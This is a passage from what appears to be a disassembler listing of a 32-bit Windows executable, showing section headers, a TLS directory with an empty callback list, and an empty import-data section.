TlsEnd dd 7Eh dup(?) ; DATA XREF: .rdata:TlsEnd_ptro
_tls ends
; Section 6. (virtual address 0000A000)
; Virtual size : 00000018 ( 24.)
; Section size in file : 00000018 ( 24.)
; Offset to raw data for section: 0000A000
; Flags 50000040: Data Shareable Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 40A000h
TlsDirectory dd offset TlsStart
TlsEnd_ptr dd offset TlsEnd
TlsIndex_ptr dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
align 200h
_rdata ends
; Section 9. (virtual address 00023000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00022A00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 423000h
align 2000h
_idata2 ends
end start